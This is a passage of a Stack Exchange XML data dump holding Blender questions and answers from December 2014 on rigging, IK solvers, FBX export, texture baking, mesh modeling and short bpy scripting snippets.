  <row Id="19603" PostTypeId="2" ParentId="19303" CreationDate="2014-12-05T14:40:19.497" Score="3" Body="&lt;p&gt;If the default &lt;strong&gt;Standard&lt;/strong&gt; IK solver is not satisfactory, you may want to try the &lt;strong&gt;iTaSC&lt;/strong&gt; solver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2iRNs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CnuSX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing to Standard solver:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;iTaSC is a generic multi-constraint IK solver.&lt;/li&gt;&#xA;&lt;li&gt;iTaSC has a stateful mode, which means that the pose at frame n+1 is computed from the pose at frame n. (Simulation mode).&lt;/li&gt;&#xA;&lt;li&gt;It also supports a stateless mode, identical to iksolver operation mode, where the pose is computed from the rest pose (or animation pose) at each frame by reiterations until the constraints are met. (&lt;em&gt;Animation&lt;/em&gt; mode)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Source/GameEngine/RobotIKSolver&quot; rel=&quot;nofollow noreferrer&quot;&gt;WIKI documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-12-05T14:40:19.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19604" PostTypeId="2" ParentId="19602" CreationDate="2014-12-05T15:13:36.420" Score="4" Body="&lt;p&gt;You need to specify the context and also make sure the bone is active:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;pbone = bpy.context.active_object.pose.bones[&quot;Bone_name&quot;]&#xA;&#xA;context_copy = bpy.context.copy()&#xA;context_copy[&quot;constraint&quot;] = pbone.constraints[&quot;Child Of&quot;]&#xA;bpy.context.active_object.data.bones.active = pbone.bone&#xA;bpy.ops.constraint.childof_set_inverse(context_copy, constraint=&quot;Child Of&quot;, owner='BONE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the constraint is targeting object + vertex_group instead of armature + bone, make sure the data of the object is updated before setting the inverse. This is for example needed if the target vertex group was also generated by code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh_ob.update_tag({'DATA'})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If not updated entering edit-mode of the mesh or armature will reset the set-inverse.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-09T22:51:39.880" LastActivityDate="2015-05-09T22:51:39.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19606" PostTypeId="1" CreationDate="2014-12-05T15:48:47.513" Score="1" ViewCount="1037" Body="&lt;p&gt;After exporting my rigged mesh as FBX, the bone structure changes:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bkUAm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the info is in the image above. &#xA;I had problems with retargeted animation on upper part of this character in Unreal Engine 4. Then i have noticed that 'head' bone is missing (actually, the neck bone is now named 'head'). I have checked my mesh in 3dsMax, to be sure that problem is not on Unreal Engine side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried exporting it with ASCII version of fbx, but result is the same. It looks like it creates root bone out of 'hips' bone and 'collapses' all other bones in root direction. I've also tried to create root bone manually and parented all other bones to it, but with no success - bone structure is still altered in the same way after export.&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="8335" LastEditDate="2014-12-10T20:13:29.400" LastActivityDate="2014-12-10T20:13:29.400" Title="Altered bone structure &amp; missing bone after FBX export" Tags="&lt;export&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19607" PostTypeId="2" ParentId="19548" CreationDate="2014-12-05T16:04:57.860" Score="7" Body="&lt;p&gt;So Greg Zaal tweeted me an even better answer, which is to take the inverse of the IOR value for backfacing faces as in the node setup below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n8xF3.png&quot; alt=&quot;Solution: use 1/IOR for backfacing faces.&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Works great. Thanks Greg.&lt;/p&gt;&#xA;" OwnerUserId="1440" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-05T16:04:57.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19608" PostTypeId="2" ParentId="19596" CreationDate="2014-12-05T16:51:17.073" Score="5" Body="&lt;p&gt;I would use the kinfe tool &lt;kbd&gt;K&lt;/kbd&gt; to make the cut. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hptp1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make complex cuts if you desire, by left clicking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eOcc8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-12-06T16:18:52.640" LastActivityDate="2014-12-06T16:18:52.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19609" PostTypeId="1" CreationDate="2014-12-05T18:24:27.903" Score="0" ViewCount="547" Body="&lt;p&gt;I am fairly new to blender and am using it to model things that I am loading into OpenGL. I am modeling this logo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJNk2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also animating the gears, which I have done already. I modeled the gears in Blender, which turned out awesome! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am moving onto the chain... The chain is something that is going to be too hard to animate using OpenGL, and so I am hoping I can do something tricky in Blender. What I am hoping to accomplish is modeling the gear 4-5 times in Blender and then just showing different models at different times to make it look as if the gear is moving. So what I am hoping to do here is to model the gear once, export the obj file, move it a little, export the obj... ect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do something like this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="8316" LastEditorUserId="5705" LastEditDate="2014-12-05T20:55:41.763" LastActivityDate="2014-12-05T20:55:41.763" Title="Moving complex object along bezier path" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;opengl&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19611" PostTypeId="2" ParentId="15143" CreationDate="2014-12-05T18:42:17.420" Score="6" Body="&lt;p&gt;I guess, that you know most of the common tricks. But here are some tricks that I often use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make a hole into the building outside of the cameras view of field&lt;/li&gt;&#xA;&lt;li&gt;Increase the resolution, decrease the sample rate and resize the image afterwards. This will make the image softer, but if you double the image size, and render with a low sample rate and resize the image afterwards, the noise is evened out &lt;em&gt;(I was able to render an interior architectural scene with only 5 samples)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enable a small amount of global illumination and increase the shadows afterwards with the Compositor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8228" LastEditorUserId="3710" LastEditDate="2015-12-30T18:56:05.860" LastActivityDate="2015-12-30T18:56:05.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19612" PostTypeId="2" ParentId="15043" CreationDate="2014-12-05T18:49:04.143" Score="1" Body="&lt;p&gt;One possiple way to solve this problem is by assigning a object or material index to the objects, that should not be blured. than you enable the Vector pass in your render layer. In the compositor you can than remove your objects from the image (with the id-mask) and replace them with black (do the same with the vector by just handling the vector like an image), apply the vector blur and add your objects again.&lt;/p&gt;&#xA;" OwnerUserId="8228" LastEditorUserId="2217" LastEditDate="2014-12-05T20:21:35.220" LastActivityDate="2014-12-05T20:21:35.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19613" PostTypeId="1" CreationDate="2014-12-05T19:54:48.220" Score="4" ViewCount="1583" Body="&lt;p&gt;I'm learning Blender because I want to be able to make simple assets for my Unity3D projects. For example, let's say I want to design a simple level (labyrinth-like) but with some premade lamps and different tiles on the floor. So i have a few objects in the scene, each with a different material. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a total newbie when it comes to baking. I guess, that what I need is a combined bake. I know how to bake a simple single object with one material: I need to unwrap it, create an image texture in the node editor, set it to a new image and then click &quot;bake&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I want to bake this whole &quot;level&quot; that I want to be a single object in the game (so I'll need to export it in OBJ or sth similar), what should I do? Should I Ctrl+J all the things to merge them into one object and then unwrap it and do the usual stuff? Won't it mess up my materials?&lt;/p&gt;&#xA;" OwnerUserId="8351" LastEditorUserId="2217" LastEditDate="2014-12-05T20:25:34.210" LastActivityDate="2014-12-15T23:22:34.363" Title="baking to multiple objects at once with multiple materials" Tags="&lt;materials&gt;&lt;export&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19615" PostTypeId="1" AcceptedAnswerId="19617" CreationDate="2014-12-05T21:09:57.257" Score="5" ViewCount="1005" Body="&lt;p&gt;Soo, changed my settings around a bit so that Shift-C is cursor-to-selected and Ctrl-S is &quot;view all without moving cursor&quot;. After doing this I had some intermittant trouble with the view resetting with the original Shift-C action when I alt-tabbed or used my screenshot program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally tracked it down today; somehow this got set instead of disabling the original command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8nFYK.png&quot; alt=&quot;Keybinding view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find &quot;In-between Move&quot; anywhere else in the key list; though that might be because search dosen't seem to work on it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Dupz.png&quot; alt=&quot;search failure&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the box dosen't become red like you typed something invalid in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sooo ... what is this mouse action supposed to represent, anyway? I can't consistantly do it, so I'm not positive what it is, but I guess it has something to do with dragging between windows?&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-12-05T23:28:26.837" Title="What does the mouse-binding &quot;in-between move&quot; do?" Tags="&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19616" PostTypeId="2" ParentId="19615" CreationDate="2014-12-05T21:19:22.293" Score="1" Body="&lt;p&gt;In-between Move corresponds to blenders &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.types.Event.html?highlight=event.type#bpy.types.Event.type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Event.type&lt;/code&gt;&lt;/a&gt; of value 'INBETWEEN_MOUSEMOVE'.&lt;br&gt;&#xA;It occurs when you press a key at the same time your mouse is moving.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-05T21:19:22.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19617" PostTypeId="2" ParentId="19615" CreationDate="2014-12-05T22:17:12.657" Score="7" Body="&lt;p&gt;This is an event used internally for painting and sculpting tools, it is not useful in a keymap. It can be used when writing certain tools in Python &lt;em&gt;(typically modal operators)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this event does is give you higher resolution mouse positions in between the regular mouse move events. For most tools only the latest mouse position matters, and processing the positions in between would just be wasting time. But for some tools like painting and sculpting it's useful to known the full path that the mouse traveled to get more accurate paint strokes.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="55" LastEditDate="2014-12-05T23:28:26.837" LastActivityDate="2014-12-05T23:28:26.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19618" PostTypeId="1" CreationDate="2014-12-05T22:31:22.880" Score="1" ViewCount="107" Body="&lt;p&gt;Can the &quot;delay sensor&quot; be use for a distance and not for a number of frames?&lt;/p&gt;&#xA;" OwnerUserId="7720" LastActivityDate="2014-12-15T21:20:54.370" Title="Can delay sensor be use for a distance?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19619" PostTypeId="2" ParentId="7910" CreationDate="2014-12-05T22:53:45.350" Score="12" Body="&lt;h2&gt;When Non-Manifold Geometry is Useful or OK&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ok, I haven't found any uses for interior faces or overlapping edges, but I find open ended meshes and intersecting (&quot;sunken&quot;) sub-meshes to be useful in some situations, provided you are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NOT making an object that's supposed to be transparent, translucent, refractive, or have other internal light effects&lt;/li&gt;&#xA;&lt;li&gt;NOT making an object that's expected to hold up in simulation by itself&lt;/li&gt;&#xA;&lt;li&gt;NOT doing that 3d-printer stuff&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is probably mostly useful for lowpoly modelers, though I use it with solid subsurf stuff sometimes as well. Here is a device I've been working on for a modding project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/myaps.png&quot; alt=&quot;device model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's made up of several mesh object. The front iPhone-colored-specular-map-showing one is protruding into the rear cargo unit so that no gaps are visible. If we hide the back one with the hatches, we can see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/01hXo.png&quot; alt=&quot;device head interior&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't actually a inside-rear to this part. Also you can see that the sidelights also have open edges sticking into the head mesh, and that the grate-things are protruding into the head a little too despite being closed objects. In this case, users probably aren't going to be able to get close enough to the object that modelling any more detailed connections between things would be meaningful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing to note about open edges like this: you can actually loop select them. If you were to fill the hidden area with an N-gon or an efficient triangle spread, you wouldn't be able to loop select anymore, which I find kind of annoying.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Debatable Cases&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When making environmental static meshes for games and such, some designers go for designs like this to save polygons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KMRYd.png&quot; alt=&quot;minimal static mesh example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(In these examples, presume that the giant yellow UV map is some ugly/error texture that the users are hopefully never to see, and the other three colors are proper textures)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with this design, is that each tiny error in meshing by the map designers can cause a huge immersion-breaking mess for the users:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HaZHI.png&quot; alt=&quot;mesh seaming error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience wandering artificial environments, these errors, like software bugs, are not so much a 'if' as a 'how many, how bad, and where' situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does cost some extra polygons, but I find I much prefer making a backing hull for this kind of mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4jz8a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, after extruding the top and bottom edges and creating the rear face, I created an N-gon in each side loop and then triangulated it for a minimal fill. I unwrapped the UVs on these faces and shrunk them to a tiny dark spot in the corner of the map. If I were making lightmaps, I'd try to minimize all these faces to a combined pixel or so as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result when looking at the messed up seam:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oqQXg.png&quot; alt=&quot;less ugly seam&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find the pretense of solid mass here much less immersion breaking, even though the unintended faces are minimally texture. Even when you look dead on through the gap:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v9WNm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can barely even see the 'bad texture' texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a final note, some game engines -- or at least later versions of Unreal engine as of UDK a bit before UE4 was announced -- require solid, enclosed meshes to make their magical static-mesh-occlusion-optimization-magic work, which is important for managing framerate and so when putting maps together.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-12-05T22:53:45.350" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19620" PostTypeId="2" ParentId="19600" CreationDate="2014-12-06T00:22:45.727" Score="4" Body="&lt;p&gt;I just grabbed Blender 2.72b source files to check this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: with current Blender (2.72b and older) it is only possible to draw to the &quot;combined&quot; and &quot;vector&quot; passes of a multilayer OpenEXR file with Blender's paint tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason: Blender's low level paint tool C algorithms (filling, painting a stroke, etc.) are all solely working on 4 channel interleaved float buffers internally. The &quot;combined&quot; and &quot;vector&quot; passes are always stored as 4 channel layers to .exr files by Blender, so those are fine, but most other render passes are stored as 3 channel layers or even 1 channel layers to .exr files and when Blender opens those other layers from .exr files it allocates 3 channel (or 1 channel respectively) interleaved float buffers internally for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also does not make any difference BTW whether you select &quot;RGB&quot; or &quot;RGBA&quot; in the render settings, you will get the same .exr file and end up with the same problem.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I wrote a &lt;a href=&quot;http://www.crudebyte.com/opensource/blender/blender_2.72b_openexr_paint.patch&quot; rel=&quot;nofollow&quot;&gt;patch against Blender 2.72b&lt;/a&gt; which solved this problem for me. Feel free to test it, forward it to Blender developers or whatever you think might be appropriate. Please note that this patch is neither optimized, nor thoroughly tested, so make sure you have a backup of your .exr file(s) before painting to them.&lt;/p&gt;&#xA;" OwnerUserId="8349" LastEditorUserId="8388" LastEditDate="2014-12-08T10:24:11.010" LastActivityDate="2014-12-08T10:24:11.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19621" PostTypeId="1" AcceptedAnswerId="19628" CreationDate="2014-12-06T00:35:47.217" Score="1" ViewCount="653" Body="&lt;p&gt;I want to know if its possible to get access to the property of the generator modifier in the driver panel. I want the X property to live set it in the Tools Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kd63q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5885" LastActivityDate="2014-12-06T07:22:08.787" Title="Get access to generator modifier x values for drivers" Tags="&lt;drivers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19622" PostTypeId="2" ParentId="19581" CreationDate="2014-12-06T01:00:10.977" Score="1" Body="&lt;p&gt;For popular and common items it might be a good idea to search for wireframes other people have made in order to learn from them. For example sites that offer 3D models for sale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one I found. &#xA;I post it here for educational purposes:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eAGyv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8282" LastActivityDate="2014-12-06T01:00:10.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19623" PostTypeId="1" CreationDate="2014-12-06T02:29:04.953" Score="2" ViewCount="938" Body="&lt;p&gt;I am trying to render a physics cloth of a flag. But I don't want to pin it to two points/an edge... I  want it to be wrapped around the pole. In reference to the image I have uploaded: The fabric is to be folded over near one side and stitched to itself about 2&quot; in along the edge and one top edge. This would allow a dowel to fit into the &quot;sleeve&quot;. How can I do this in blender so that I can render it on a pole? I tried to but it doesn't work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made the dowel an AddPassive in Rigid Body Tools and the flag a Cloth in Physics. They don't intersect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also would like to know how I can better make the sleeve rather than making a tube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YR0r4.jpg&quot; alt=&quot;image1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HarQ0.jpg&quot; alt=&quot;image2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yEeXk.jpg&quot; alt=&quot;image3&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="696" LastEditDate="2015-02-06T16:36:57.943" LastActivityDate="2015-04-06T01:41:00.447" Title="Cloth Physics hung on pole?" Tags="&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19624" PostTypeId="2" ParentId="19623" CreationDate="2014-12-06T03:26:25.097" Score="0" Body="&lt;p&gt;You need more subdivisions on the part that goes over the pole. add a subdivide modifier or give more in edit mode. &lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-06T03:26:25.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19625" PostTypeId="2" ParentId="19578" CreationDate="2014-12-06T04:02:44.893" Score="1" Body="&lt;p&gt;I solved my problem by simply &lt;em&gt;subsurfing&lt;/em&gt; the cylinders I used to make the larger object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the original design, you can see that the circular faces are whole (not subdivided into quads or triangles). In search of another solution using the knife projection tool, I discovered that it does not work well on whole faces, and subdividing the face was the solution there. It then occurred to me that subdividing faces might help the boolean modifier approach. In fact it did work: the only other caveat was that the top surface of the cylinders aren't subdivided by the &lt;em&gt;Subdivide&lt;/em&gt; command - you have to use the &lt;em&gt;Subdivide Surface&lt;/em&gt; command first. &lt;/p&gt;&#xA;" OwnerUserId="8342" LastActivityDate="2014-12-06T04:02:44.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19626" PostTypeId="1" CreationDate="2014-12-06T05:57:24.857" Score="0" ViewCount="2438" Body="&lt;p&gt;I want to make a 3D model of an image but not for animation or other 3D stuff. I just need to have a model of my object to be able to apply textures to different faces of the object correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1FMmW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this picture I want to to apply the pattern with three.js. How should I do that?&#xA;Do I need to make a 3D model of that or UV map or both or something else?&lt;/p&gt;&#xA;" OwnerUserId="8318" LastEditorUserId="2217" LastEditDate="2015-01-06T20:57:07.573" LastActivityDate="2015-01-06T20:57:07.573" Title="How to make 3D model and UV map from picture" Tags="&lt;materials&gt;&lt;uv&gt;&lt;three.js&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19627" PostTypeId="1" CreationDate="2014-12-06T06:32:51.130" Score="2" ViewCount="1099" Body="&lt;p&gt;So I am thinking of doing an AMD build with the fx-8370 and want to use Blender's video editing component for video editing but I do not know if it will utilize all eight cores. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I look to some other video editing software to utilize all eight cores for video editing or will Blender do it?&lt;/p&gt;&#xA;" OwnerUserId="8358" LastEditorUserId="599" LastEditDate="2014-12-06T18:41:00.597" LastActivityDate="2017-02-21T03:56:43.667" Title="Is the VSE multi-threaded?" Tags="&lt;video-sequence-editor&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19628" PostTypeId="2" ParentId="19621" CreationDate="2014-12-06T07:22:08.787" Score="1" Body="&lt;p&gt;Looks like you cannot access this property, but there is a workaround by scripting the generator yourself and by adding 2 custom ID properties to the object to control it.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/POPB6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class Panel(bpy.types.Panel):&#xA;    bl_label = &quot;Custom Panel&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.prop(context.active_object, '[&quot;offset&quot;]')&#xA;        layout.prop(context.active_object, '[&quot;multiplier&quot;]')&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-06T07:22:08.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19629" PostTypeId="2" ParentId="19626" CreationDate="2014-12-06T08:38:17.037" Score="1" Body="&lt;p&gt;There isn't really a simple way to do that, and certainly not one that looks good. Here's what I do, using an example from one of my own projects. This is what it looks like without the finishing details, just the UV mapping/modeling done:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wVzfh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the texture that is applied, which is where you want to get to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FoDQx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I had to model the chair as a whole (which for what looks like you want should be much simpler, there are tutorials on basic shape creation and extrusion modeling all over the place). Then I looked for textures that looked close to what I wanted and applied them to the individual parts (see &lt;a href=&quot;https://blender.stackexchange.com/questions/1022/adding-uv-mapping-to-mesh&quot;&gt;Adding UV mapping to mesh&lt;/a&gt;), giving me the result I asked about in this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/15510/possible-to-bake-texture-to-new-uv-map&quot;&gt;Possible to bake texture to new UV map?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then brush in details on the edges in something like Photoshop or GIMP.&lt;/p&gt;&#xA;" OwnerUserId="409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-12-06T08:38:17.037" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19630" PostTypeId="1" AcceptedAnswerId="19663" CreationDate="2014-12-06T09:36:57.253" Score="10" ViewCount="16894" Body="&lt;p&gt;I am new to blender and currently trying to learn modeling techniques. I would like to change a square into cylinder. From what I've read the easiest way would be to use the array modifier and warp it around a bezier circle and then extrude that object. But I was wondering if there are any tutorials on how to do this using only transforms and only a few subdivides....To be specific, I'm trying to make a pillar object from a cube&lt;/p&gt;&#xA;" OwnerUserId="8283" LastActivityDate="2014-12-07T15:19:24.793" Title="modeling cube into cylinder" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19631" PostTypeId="2" ParentId="19630" CreationDate="2014-12-06T10:44:01.263" Score="5" Body="&lt;h2&gt;Method 1&lt;/h2&gt;&#xA;&lt;p&gt;Starting with a scaled default cube you could add a loop cuts along all axis' &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; like so:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BWhV6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then select the middle loop cut ans scale it &lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MQcGW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Open the specials menu &lt;kbd&gt;W&lt;/kbd&gt; and select &lt;em&gt;LoopTools/Circle&lt;/em&gt; Note that the Looptools must be enabled in the &lt;em&gt;User Preferences / Addon&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZadV1.png&quot; alt=&quot;enter image description here&quot; 